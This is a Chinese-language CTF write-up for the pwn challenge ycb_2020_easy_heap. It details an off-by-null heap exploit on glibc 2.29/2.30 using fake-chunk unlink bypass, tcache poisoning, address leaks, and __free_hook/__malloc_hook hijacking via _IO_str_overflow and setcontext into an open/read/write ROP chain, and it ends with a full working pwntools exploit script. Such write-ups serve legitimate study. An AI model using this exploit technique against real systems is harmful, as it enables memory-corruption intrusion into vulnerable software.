title: off-by-bull in glibc2.29
date: 2021-05-21
tags:
- off-by-bull
- glibc2.29
categories:
- Exercise
ycb_2020_easy_heap
程序大概功能:
- Take_card: malloc一个任意size的chunk,size>0 指针和size记录与bss
- Drop_card: free一个chunk,并且指针,size清空
- Edit_card: 修改一个chunk,off-by-bull
- Show: 普通
注意远程的libc版本为glibc2.30,在后面列出该版本与glibc2.29的差异
堆构造思路
构造的中心是绕过glibc2.29及更高版本在free后的chunk进行unlink前的检查
//glibc-2.29
/*低地址合并*/
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize)) //new
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}
第一步:抬高topchunk的初始地址(0x????0000)
因为每一次edit都会把后一个字节覆盖为\x00,所以想覆盖利用残留指针必须使其指针第二个字节为\x00
Take_card(0x6d70-0x10) #0 create 0000 address
Take_card(0x4f0) #1
Take_card(0x68) #2
Take_card(0x1f0) #3
堆分布:
addr prev size status fd bk
0x555555559000 0x0 0x290 Used None None
0x555555559290 0x0 0x6d70 Used None None
0x555555560000 0x0 0x500 Used None None
0x555555560500 0x0 0x70 Used None None
0x555555560570 0x0 0x200 Used None None
- chunk_0x500:放置fake_chunk,成包含残留指针的chunk,因为其
起始地址倒数第二个字节也是\x00
- chunk_0x70:用于隔开chunk_0x200,对chunk_0x200造成off-by-null以及为后面的
- chunk_0x200: 用于进行最后释放触发unlink
第二步:分割sub_chunk
将chunk_0x500放入Bigchunk后其将会包含4各残留指针,前面fd,bk指针是libc指针用于泄露,后面的堆指针用于覆盖利用
Drop_card(1)
Take_card(0x5f0) #1
Take_card(0x20) #4
Take_card(0x20) #5
Take_card(0xf0) #6
Take_card(0x20) #7
Take_card(0xf0) #8
堆分布:
0x555555560000 0x0 0x30 Used None None
0x555555560030 0x0 0x30 Used None None
0x555555560060 0x0 0x100 Used None None
0x555555560160 0x0 0x30 Used None None
0x555555560190 0x0 0x100 Used None None
0x555555560290 0x0 0x270 Freed 0x7ffff7facbe0 0x7ffff7facbe0
0x555555560500 0x270 0x70 Used None None
0x555555560570 0x0 0x200 Used None None
0x555555560770 0x0 0x600 Used None None
指针分布:
0x555555560000: 0x0000000000000000 0x0000000000000031
0x555555560010: 0x00007ffff7fad010 0x00007ffff7fad010
0x555555560020: 0x0000555555560000 0x0000555555560000
0x555555560030: 0x0000000000000000 0x0000000000000031
0x555555560040: 0x00007ffff7facbe0 0x00007ffff7facbe0
0x555555560050: 0x0000000000000000 0x0000000000000000
0x555555560060: 0x0000000000000000 0x0000000000000101
0x555555560070: 0x00007ffff7facbe0 0x00007ffff7facbe0
0x555555560080: 0x0000000000000000 0x0000000000000000
- 首先free了chunk_0x500,然后malloc一个chunk_0x600这样将chunk_0x500放入Bigchunk中
- 第一个chunk_0x30获取了Bigchunk所有的残留指针,用于构造fake_chunk
- 后面相继分割了四个chunk,用于形成tcache链,当overlap成功后进行任意地址读写
- 这里提前安排好sub_chunk很重要,保证了这些subchunk地址形为:0x????00??
第三步:填充tcache
for i in range(7):
Take_card(0xf0) #9~15
for i in range(8):
Take_card(0x20) #16~23
for i in range(7):
Drop_card(9+i) #fill tcache_0x100
Drop_card(16+i) #fill tcache_0x30
Drop_card(23)
#get unsorted_0x100
Drop_card(6)
Drop_card(8)
堆分布:
top: 0x555555561390 (size : 0x18c70)
last_remainder: 0x5555555604c0 (size : 0x40)
unsortbin: 0x555555560190 (size : 0x100) <--> 0x555555560060 (size : 0x100)
(0x30) tcache_entry[1](7): 0x555555561370 --> 0x555555561340 --> 0x555555561310 --> 0x5555555612e0 --> 0x5555555612b0 --> 0x555555561280 --> 0x5555555604a0
(0x40) tcache_entry[2](1): 0x5555555604d0
(0x100) tcache_entry[14](7): 0x555555561180 --> 0x555555561080 --> 0x555555560f80 --> 0x555555560e80 --> 0x555555560d80 --> 0x5555555603a0 --> 0x5555555602a0
那个0x40的是分割完剩下的
- 先将chunk_0x30和chunk_0x100的tcache链填满
- 释放第二部提前准备的chunk_0x100,进入unsortedbin
第四步:将UB中的两个chunk_0x100放入smallbins
for i in range(7):
Take_card(0xf0)
Take_card(0x1f0)
- 先将tcache中的chunk_0x100分配完
- malloc一个chunk_0x200遍历UB并将UB中的chunk_0x100放入smallbin
这样就获取了一个chunk_0x100其fd字段会保存一个指向堆地址
第五步:伪造chunk
Edit(4, p64(0xdeadbeef) + p64(0x561) + p8(0x60))
Take_card(0xf0)
Edit(15, p64(0xdeadbeef) + p8(0x10))
此时堆分布:
0x555555560000: 0x0000000000000000 0x0000000000000031
0x555555560010: 0x00000000deadbeef 0x0000000000000561 <=========fake_chunk
0x555555560020: 0x0000555555560060 0x0000555555560000
0x555555560030: 0x0000000000000000 0x0000000000000031
0x555555560040: 0x00007ffff7facbe0 0x00007ffff7facbe0
0x555555560050: 0x0000000000000000 0x0000000000000000
0x555555560060: 0x0000000000000000 0x0000000000000101
0x555555560070: 0x00000000deadbeef 0x0000555555560010
0x555555560080: 0x0000000000000000 0x0000000000000000
- fake_chunk的prev_size字段暂时随便,fake_chunk的size提前计算可得
- fake_chunk的fd字段已经被改为我们上一步获取的chunk_0x100
- 同时将上步的chunk_0x100的bk字段覆盖为指向fake_chunk来绕过fake_chunk->fd->bk回指检查
接下来不用我多说,就是绕过fake_chunk->bk->fd回指的检查。只需让fake_chunk->prev_size字段指向自己即可
第六步:将之前布置的两个chunk_0x30放入fastbin
Drop_card(5)
Drop_card(7)
Drop_card(4)
for i in range(7):
Take_card(0x20)
Take_card(0x20) <======
Edit(20, p8(0x10))
- 先释放那提前准备的两个chunk_0x30,然后释放用来伪造fake_chunk的chunk_0x30
- 这样fake_chunk的fd字段就会放入堆地址并且不会影响size字段
- 如果直接放入tcache那么fake_chunk的size字段会放入Tcache结构体地址
- 然后分配完tcache中的chunk_0x30
- 最后重新获取用于伪造fake_chunk的chunk_0x30
- 覆盖其prev_size字段指向自己
堆分布:
0x555555560000: 0x0000000000000000 0x0000000000000031
0x555555560010: 0x0000555555560010 0x0000000000000561 <=====fake_chunk
0x555555560020: 0x0000555555560060 0x0000555555560000
0x555555560030: 0x0000000000000000 0x0000000000000031
0x555555560040: 0x0000555555560170 0x0000555555559010
0x555555560050: 0x0000000000000000 0x0000000000000000
0x555555560060: 0x0000000000000000 0x0000000000000101
0x555555560070: 0x00000000deadbeef 0x0000555555560010
0x555555560080: 0x0000000000000000 0x0000000000000000
top: 0x555555561590 (size : 0x18a70)
last_remainder: 0x5555555604c0 (size : 0x40)
unsortbin: 0x0
(0x30) tcache_entry[1](2): 0x555555560040 --> 0x555555560170
(0x40) tcache_entry[2](1): 0x5555555604d0
(0x100) tcache_entry[14](1): 0x5555555601a0
现在用于绕过unlink前的检查条件已经准备好了
攻击思路
由于程序沙箱禁用了execve函数,所以采用ORW + setcontext
泄露libc和heap地址
#fill tcache_0x200
for i in range(7):
Take_card(0x1f0)
for i in range(7):
Drop_card(21+i)
#attack for leak
payload = b'A'*0x60 + p64(0x560)
Edit(2, payload)
Drop_card(3)
此时堆分布:
0x555555560000: 0x0000000000000000 0x0000000000000031
0x555555560010: 0x0000555555560060 0x0000000000000761
0x555555560020: 0x00007ffff7facbe0 0x00007ffff7facbe0
0x555555560030: 0x0000000000000000 0x0000000000000000
0x555555560040: 0x0000555555560170 0x0000555555559010
0x555555560050: 0x0000000000000000 0x0000000000000000
0x555555560060: 0x0000000000000000 0x0000000000000101
0x555555560070: 0x00000000deadbeef 0x0000555555560000
top: 0x555555562390 (size : 0x17c70)
last_remainder: 0x5555555604c0 (size : 0x40)
unsortbin: 0x555555560010 (overlap chunk with 0x555555560030(freed) )
(0x30) tcache_entry[1](2): 0x555555560040 --> 0x555555560170
(0x40) tcache_entry[2](1): 0x5555555604d0
(0x100) tcache_entry[14](1): 0x5555555601a0
(0x200) tcache_entry[30](7): 0x5555555621a0 --> 0x555555561fa0 --> 0x555555561da0 --> 0x555555561ba0 --> 0x5555555619a0 --> 0x5555555617a0 --> 0x5555555615a0
在overlap成功后libc可以随意泄露,主要是heap地址如何泄露。在前面我提前准备了两个chunk_0x30然后使其进入fastbin,之后free掉用于fake_chunk的0x30chunk,使得fastbin中有三个chunk_0x30(见上面的步骤),回收fake_chunk_0x30后剩下的两个被提取到tcache中
,这样我就还有一个包含堆地址的freechunk可以用来泄露堆地址
Take_card(0x40)
show(3)
sh.recvuntil('\x20')
libc_addr = u64(sh.recv(6)+b'\x00'*2) - 0x520 - main_arena_off
'''
'''
Take_card(0x20)
show(21)
sh.recvuntil('\x20')
heap_base = u64(sh.recv(6)+b'\x00'*2) - 0x170
堆分布:
top: 0x555555562390 (size : 0x17c70)
last_remainder: 0x555555560060 (size : 0x710)
unsortbin: 0x555555560060 (overlap chunk with 0x555555560160(freed) )
(0x30) tcache_entry[1](1): 0x555555560170
(0x40) tcache_entry[2](1): 0x5555555604d0
(0x100) tcache_entry[14](1): 0x5555555601a0
(0x200) tcache_entry[30](7): 0x5555555621a0 --> 0x555555561fa0 --> 0x555555561da0 --> 0x555555561ba0 --> 0x5555555619a0 --> 0x5555555617a0 --> 0x5555555615a0
可以看到:tcache中chunk_0x30和chunk_0x100是在overlap_chunk中的,也就是说可以为我们提供两次任意地址写
glibc>=2.29的SROP利用
为什么需要两次?在glibc2.29及以上setcontext函数的寄存器赋值操作如下:
.text:0000000000044055 mov rsp, [rdx+0A0h]
.text:000000000004405C mov rbx, [rdx+80h]
.text:0000000000044063 mov rbp, [rdx+78h]
.text:0000000000044067 mov r12, [rdx+48h]
.text:000000000004406B mov r13, [rdx+50h]
.text:000000000004406F mov r14, [rdx+58h]
.text:0000000000044073 mov r15, [rdx+60h]
.text:0000000000044077 mov rcx, [rdx+0A8h]
.text:000000000004407E push rcx
.text:000000000004407F mov rsi, [rdx+70h]
.text:0000000000044083 mov rdi, [rdx+68h]
.text:0000000000044087 mov rcx, [rdx+98h]
.text:000000000004408E mov r8, [rdx+28h]
.text:0000000000044092 mov r9, [rdx+30h]
.text:0000000000044096 mov rdx, [rdx+88h]
.text:0000000000044096 ; } // starts at 44020
.text:000000000004409D ; __unwind {
.text:000000000004409D xor eax, eax
.text:000000000004409F retn
所以需要控制rdx寄存器,而不再是单单的rdi为堆地址。况且题目还是在glibc2.30下的setcontext还有下不同,后面再说
解决方法:利用_IO_str_overflow函数
glibc2.29, 其中fd就是rdi
.text:000000000007BA68 mov rdx, [fp+28h]
.text:000000000007BA6C
.text:000000000007BA6C loc_7BA6C: ; CODE XREF: __GI__IO_str_overflow+155↓j
.text:000000000007BA6C mov r13, [fp+38h]
.text:000000000007BA70 mov r12, [fp+40h]
.text:000000000007BA74 mov rcx, rdx
.text:000000000007BA77 sub rcx, [fp+20h]
.text:000000000007BA7B xor eax, eax
.text:000000000007BA7D mov ebp, esi
.text:000000000007BA7F mov rbx, fp
.text:000000000007BA82 pos = rcx ; size_t
.text:000000000007BA82 sub r12, r13
.text:000000000007BA85 cmp esi, 0FFFFFFFFh
.text:000000000007BA88 setz al
.text:000000000007BA8B add rax, r12
.text:000000000007BA8E cmp pos, rax
.text:000000000007BA91 jb loc_7BB3F
.text:000000000007BA97 fp = rbx ; FILE_0 *
.text:000000000007BA97 test byte ptr [rdi], 1
.text:000000000007BA9A jnz loc_7BB90
.text:000000000007BAA0 old_buf = r13 ; char *
.text:000000000007BAA0 old_blen = r12 ; size_t
.text:000000000007BAA0 lea r14, [old_blen+old_blen+64h]
.text:000000000007BAA5 new_size = r14 ; size_t
.text:000000000007BAA5 cmp old_blen, new_size
.text:000000000007BAA8 ja loc_7BB90
.text:000000000007BAAE mov rdi, new_size ; bytes
.text:000000000007BAB1 call j___GI___libc_malloc
这里会将rdi+0x28的指赋给rdx,并且如果绕过中间的跳转将指向malloc函数,那么在glibc>=2.29时我们的SROP的思路就出来了:
- free_hook:放入_IO_str_overflow赋值rdx部分
- malloc_hook: 放入setcontext赋值寄存器的部分
千万注意上面说的时glibc2.29,与glibc2.30有差别,但是同样可以绕过
glibc2.30下的tcache fd劫持
本来每成功编译glibc2.30所以干脆在glibc2.29下进行测试,在劫持tcache fd时非常顺利。然后远程死活不行。然后在ubuntu20.04 glibc2.31下发现原来是tcache的问题
比对一下:
/*glibc2.29*/
if (tc_idx < mp_.tcache_bins
/*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
&& tcache
&& tcache->entries[tc_idx] != NULL) //<=====
{
return tcache_get (tc_idx);
}
/*glibc2.30及以上*/
if (tc_idx < mp_.tcache_bins
&& tcache
&& tcache->counts[tc_idx] > 0) //<======
{
return tcache_get (tc_idx);
}
所以不仅要篡改tcache chunk的fd在这之前还需要提前安排至少两个tcache chunk,因为我提前在overlap chunk中分别安排了两个chunk所以这个问题不难解决
SROP
在前面的操作下,成功向free_hook和malloc_hook分别写入_IO_str_overflow和setcontext地址,在提前获取的一个chunk中安排rop链即可。
但是两个函数的利用glibc2.30中有些细节和glibc2.29不同,需要注意,glibc2.29很简单,主要看看glibc2.30
_IO_str_overflow
0x7ffff7e57b44 <__GI__IO_str_overflow+20>: mov eax,DWORD PTR [rdi] <=====
0x7ffff7e57b46 <__GI__IO_str_overflow+22>: test al,0x8
0x7ffff7e57b48 <__GI__IO_str_overflow+24>: jne 0x7ffff7e57cb0 <__GI__IO_str_overflow+384>
0x7ffff7e57b4e <__GI__IO_str_overflow+30>: mov edx,eax
0x7ffff7e57b50 <__GI__IO_str_overflow+32>: mov rbx,rdi
0x7ffff7e57b53 <__GI__IO_str_overflow+35>: and edx,0xc00
0x7ffff7e57b59 <__GI__IO_str_overflow+41>: cmp edx,0x400
0x7ffff7e57b5f <__GI__IO_str_overflow+47>: je 0x7ffff7e57c90 <__GI__IO_str_overflow+352>
0x7ffff7e57b65 <__GI__IO_str_overflow+53>: mov rdx,QWORD PTR [rdi+0x28] <====
0x7ffff7e57b69 <__GI__IO_str_overflow+57>: mov r14,QWORD PTR [rbx+0x38] <====
0x7ffff7e57b6d <__GI__IO_str_overflow+61>: mov r12,QWORD PTR [rbx+0x40] <====
0x7ffff7e57b71 <__GI__IO_str_overflow+65>: xor ecx,ecx
0x7ffff7e57b73 <__GI__IO_str_overflow+67>: mov rsi,rdx
0x7ffff7e57b76 <__GI__IO_str_overflow+70>: sub r12,r14
0x7ffff7e57b79 <__GI__IO_str_overflow+73>: cmp ebp,0xffffffff
0x7ffff7e57b7c <__GI__IO_str_overflow+76>: sete cl
0x7ffff7e57b7f <__GI__IO_str_overflow+79>: sub rsi,QWORD PTR [rbx+0x20]
0x7ffff7e57b83 <__GI__IO_str_overflow+83>: add rcx,r12
0x7ffff7e57b86 <__GI__IO_str_overflow+86>: cmp rcx,rsi <====
0x7ffff7e57b89 <__GI__IO_str_overflow+89>: ja 0x7ffff7e57c5a <__GI__IO_str_overflow+298>
0x7ffff7e57b8f <__GI__IO_str_overflow+95>: test al,0x1
0x7ffff7e57b91 <__GI__IO_str_overflow+97>: jne 0x7ffff7e57cd0 <__GI__IO_str_overflow+416>
0x7ffff7e57b97 <__GI__IO_str_overflow+103>: lea r15,[r12+r12*1+0x64]
0x7ffff7e57b9c <__GI__IO_str_overflow+108>: cmp r12,r15
0x7ffff7e57b9f <__GI__IO_str_overflow+111>: ja 0x7ffff7e57cd0 <__GI__IO_str_overflow+416>
0x7ffff7e57ba5 <__GI__IO_str_overflow+117>: mov rdi,r15
0x7ffff7e57ba8 <__GI__IO_str_overflow+120>: call 0x7ffff7de6310 <=====
我们需要控制free_hook中的地址为:上面汇编指令中的第一条,否则下面为rdx赋值后无法调用malloc。
setcontext
0x7ffff7e190dd : mov rsp,QWORD PTR [rdx+0xa0]
0x7ffff7e190e4 : mov rbx,QWORD PTR [rdx+0x80]
0x7ffff7e190eb : mov rbp,QWORD PTR [rdx+0x78]
0x7ffff7e190ef : mov r12,QWORD PTR [rdx+0x48]
0x7ffff7e190f3 : mov r13,QWORD PTR [rdx+0x50]
0x7ffff7e190f7 : mov r14,QWORD PTR [rdx+0x58]
0x7ffff7e190fb : mov r15,QWORD PTR [rdx+0x60]
0x7ffff7e190ff : test DWORD PTR fs:0x48,0x2 <====
0x7ffff7e1910b : je 0x7ffff7e191c6
0x7ffff7e19111 : mov rsi,QWORD PTR [rdx+0x3a8]
0x7ffff7e19118 : mov rdi,rsi
0x7ffff7e1911b : mov rcx,QWORD PTR [rdx+0x3b0]
'''
'''
'''
'''
0x7ffff7e191c6 : mov rcx,QWORD PTR [rdx+0xa8]
0x7ffff7e191cd : push rcx
0x7ffff7e191ce : mov rsi,QWORD PTR [rdx+0x70]
0x7ffff7e191d2 : mov rdi,QWORD PTR [rdx+0x68]
0x7ffff7e191d6 : mov rcx,QWORD PTR [rdx+0x98]
0x7ffff7e191dd : mov r8,QWORD PTR [rdx+0x28]
0x7ffff7e191e1 : mov r9,QWORD PTR [rdx+0x30]
0x7ffff7e191e5 : mov rdx,QWORD PTR [rdx+0x88]
0x7ffff7e191ec : xor eax,eax
0x7ffff7e191ee : ret
这里和glibc2.29也有点不同,就是把原来一系列寄存器赋值给分开了,不过没什么大问题,中间的test指令会让je指令进行跳转。所以忽略中间的跳转,setcontext与glibc2.29没什么变化,甚至每个寄存器相对rdx/rdi的偏移也没有变,所以构造如下:
exp = p64(0)*2
exp += b"./flag\x00\x00"
exp += p64(0)*2
exp += p64(Srop_chunk)
exp = exp.ljust(0x68, b'\x00')
exp += p64(Srop_chunk+0x10)
exp += p64(0)
exp = exp.ljust(0x88, b'\x00')
exp += p64(0x100)
exp = exp.ljust(0xa0, b'\x00')
exp += p64(Srop_chunk+0xb0) #rsp
exp += p64(open_flag) #ip
exp = exp.ljust(0xb0)
#rop_chain
exp += flat(PopRdiRet, 3, PopRsiRet, Srop_chunk, PopRdxR12Ret, 0x100, 0, Read
, PopRdiRet, 1, PopRsiRet, Srop_chunk, PopRdxR12Ret, 0x100, 0, Write)
到此整个利用完毕~,很恶心
##Exp
#+++++++++++++++++++exp.py++++++++++++++++++++
#!/usr/bin/python
# -*- coding:utf-8 -*-
#Author: Square_R
#Time: 2021.04.20 10.36.14
#+++++++++++++++++++exp.py++++++++++++++++++++
from pwn import*
import sys
context.arch = 'amd64'
def Take_card(size):
sh.sendlineafter('Choice:','1')
sh.sendlineafter('Size: ',str(size))
def Edit(index,cont):
sh.sendlineafter('Choice:','2')
sh.sendlineafter('Index: ',str(index))
sh.sendafter('Content: \n',(cont))
def Drop_card(index):
sh.sendlineafter('Choice:','3')
sh.sendlineafter('Index: ',str(index))
def show(index):
sh.sendlineafter('Choice:','4')
sh.sendlineafter('Index: ',str(index))
def show_addr(name,addr):
log.success('The '+str(name)+' Addr:' + str(hex(addr)))
host = '1.1.1.1'
port = 10000
local = sys.argv[1]
if(local == 'l'):
main_arena_off = 0x3b3c40
# context.log_level = 'debug'
libc=ELF('/glibc/x64/2.29/lib/libc-2.29.so')
elf=ELF('./ycb_2020_easy_heap')
sh = process('./ycb_2020_easy_heap')
else:
# context.log_level = 'debug'
main_arena_off = 0x0000000001EAB80
elf=ELF('./ycb_2020_easy_heap')
libc=ELF('./libc-2.30.so')
sh = remote('node3.buuoj.cn',26165)
def pwn():
Take_card(0x6d70-0x10) #0 create 0000 address
Take_card(0x4f0) #1
Take_card(0x68) #2
Take_card(0x1f0) #3
Drop_card(1)
Take_card(0x5f0) #1
Take_card(0x20) #4
Take_card(0x20) #5
Take_card(0xf0) #6
Take_card(0x20) #7
Take_card(0xf0) #8
for i in range(7):
Take_card(0xf0) #9~15
for i in range(8):
Take_card(0x20) #16~23
for i in range(7):
Drop_card(9+i) #fill tcache_0x100
Drop_card(16+i) #fill tcache_0x30
Drop_card(23)
#get unsorted_0x100
Drop_card(6)
Drop_card(8)
for i in range(7):
Take_card(0xf0)
#fake_chunk create
Take_card(0x1f0)
Edit(4, p64(0xdeadbeef) + p64(0x561) + p8(0x60))
Take_card(0xf0)
Edit(15, p64(0xdeadbeef) + p8(0x10))
Drop_card(5)
Drop_card(7)
Drop_card(4)
for i in range(7):
Take_card(0x20)
Take_card(0x20)
Edit(20, p8(0x10))
#fake_chunk create end
#fill tcache_0x200
for i in range(7):
Take_card(0x1f0)
for i in range(7):
Drop_card(21+i)
#attack for leak
payload = b'A'*0x60 + p64(0x560)
Edit(2, payload)
Drop_card(3)
Take_card(0x40)
show(3)
sh.recvuntil('\x20')
libc_addr = u64(sh.recv(6)+b'\x00'*2) - 0x520 - main_arena_off
malloc_hook = libc_addr + libc.sym['__malloc_hook']
free_hook = libc_addr + libc.sym['__free_hook']
str_overflow = libc_addr + libc.sym['_IO_str_overflow']
setcontext = libc_addr + libc.sym['setcontext']
open_flag = libc_addr + libc.sym['open']
Read = libc_addr + libc.sym['read']
Write = libc_addr + libc.sym['write']
show_addr('str_overflow', str_overflow)
show_addr('setcontext', setcontext)
show_addr('libc_addr', libc_addr)
show_addr('malloc_hook',malloc_hook)
show_addr('free_hook', free_hook)
Take_card(0x20)
show(21)
sh.recvuntil('\x20')
heap_base = u64(sh.recv(6)+b'\x00'*2) - 0x170
show_addr('heap_base', heap_base)
#attack end
#attack for execve ___GI__IO_str_overflow+56
Take_card(0x20) #22
Take_card(0x20) #23
Drop_card(23)
Drop_card(22)
Take_card(0xf0) #22#0x1a0
Take_card(0xf0) #23
payload = b'A'*0xc0
payload += p64(0) + p64(0x31)
payload += p64(free_hook).strip(b'0x1e0\x00')
Edit(23, payload)
Take_card(0x20) #24
Take_card(0x20) #25
Take_card(0x30) #26 0x4d0
Take_card(0x30) #27
Drop_card(27)
Drop_card(26)
Take_card(0x300) #26
Edit(26, b'A'*0x2e8 + p64(0x41) + p64(malloc_hook))
Take_card(0x30) #27
Take_card(0x30) #28
PopRdxR12Ret = libc_addr + 0x000000000011c421
PopRdiRet = libc_addr + 0x0000000000026bb2
PopRsiRet = libc_addr + 0x000000000002709c
Srop_chunk = heap_base + 0x1e0
show_addr('Srop_chunk', Srop_chunk)
Take_card(0x200) #26 for SROP
exp = p64(0)*2
exp += b"./flag\x00\x00"
exp += p64(0)*2
exp += p64(Srop_chunk)
exp = exp.ljust(0x68, b'\x00')
exp += p64(Srop_chunk+0x10)
exp += p64(0)
exp = exp.ljust(0x88, b'\x00')
exp += p64(0x100)
exp = exp.ljust(0xa0, b'\x00')
exp += p64(Srop_chunk+0xb0) #rsp
exp += p64(open_flag) #ip
exp = exp.ljust(0xb0)
#rop_chain
exp += flat(PopRdiRet, 3, PopRsiRet, Srop_chunk, PopRdxR12Ret, 0x100, 0, Read
, PopRdiRet, 1, PopRsiRet, Srop_chunk, PopRdxR12Ret, 0x100, 0, Write)
Edit(26, exp)
Edit(25, p64(str_overflow+0x14))
Edit(28, p64(setcontext+0x3d))
# gdb.attach(sh,'b*$rebase(0x0000000000001730)')
Drop_card(26)
'''
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL
'''
if __name__ == '__main__':
while 1:
try:
sh = remote('node3.buuoj.cn',26165)
pwn()
sh.interactive()
except:
sh.close()
小结
- 就这个十八弯的堆构造,我觉得没必要深究
- 核心在于:绕过unlink的size与pre_size对质,所以需要伪造chunk从而控制size
- 那么既然伪造了chunk就需要继续思考fake_chunk的fd和bk指针如何覆盖,修改绕过unlink检查
- 硬要说构造模板我觉得是:从Bigchunk中分割一个sub_chunk来存放fake_chunk,然后提前在Bigchunk中分割多个subchunk来进行指针覆盖
- 然后就是注意glibc2.29以后的tcache分配检查:看数量而不是看next 指针
- glibc2.29以后的SROP:使用了_IO_str_overflow辅助setcontext的利用,需要两次任意地址写
- 一个坑:就是glibc2.29的Tcache结构体中的counts数据类型是char[],而glibc2.29之后的counts数据类型是uint16_t占两个字节,所以在抬高topchunk的时候需要的size不一样